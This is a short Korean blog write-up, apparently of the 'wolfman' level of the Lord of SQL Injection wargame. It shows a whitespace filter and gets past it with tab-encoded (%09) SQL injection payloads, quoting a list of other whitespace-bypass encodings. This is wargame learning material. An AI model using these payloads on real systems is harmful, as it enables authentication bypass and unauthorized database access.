Lord of SQL Injection

Lord of SQL Injection - 5번 문제 wolfman

ilsancityboy 2024. 5. 10. 16:18

  

if(preg_match('/ /i'$_GET[pw])) exit("No whitespace ~_~"); 

먼저 주의깊게 보아야할 것 중 하나는 공백을 필터링 한다는 것이다.

 

  if($result['id'] == 'admin'solve("wolfman"); 

그리고 id가 admin일시 문제가 풀리게 된다.

 

공백필터링을 제외하고 생각한다면

?pw=' or id='admin

이런식으로 보내면 될 것이다.

 

하지만 공백 필터링이 있으므로 우회를 해 주어야 한다.

 

https://binaryu.tistory.com/31

 

SQL Injection 공백 우회방법

SQL Injection 공격시 공백 문자 필터링시 우회 방법 1. Tab : %09 - no=1%09or%09id='admin' 2. Line Feed (\n): %0a - no=1%0aor%0aid='admin' 3. Carrage Return(\r) : %0d - no=1%0dor%0did='admin' 4. 주석 : /**/ - no=1/**/or/**/id='admin' 5. 괄

binaryu.tistory.com

 

여러가지 방법이 있지만 작성자는 Tab 방식으로 공백자리에 %09 를 넣어 풀었다.

?pw='%09or%09id='admin